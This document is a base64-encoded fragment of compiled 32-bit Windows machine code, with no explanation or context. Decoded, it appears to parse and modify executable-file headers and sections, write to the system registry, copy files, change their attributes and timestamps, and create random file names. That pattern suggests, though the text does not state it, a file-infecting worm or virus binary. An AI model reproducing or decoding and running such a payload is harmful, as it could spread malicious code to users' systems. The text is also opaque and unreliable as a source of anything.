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 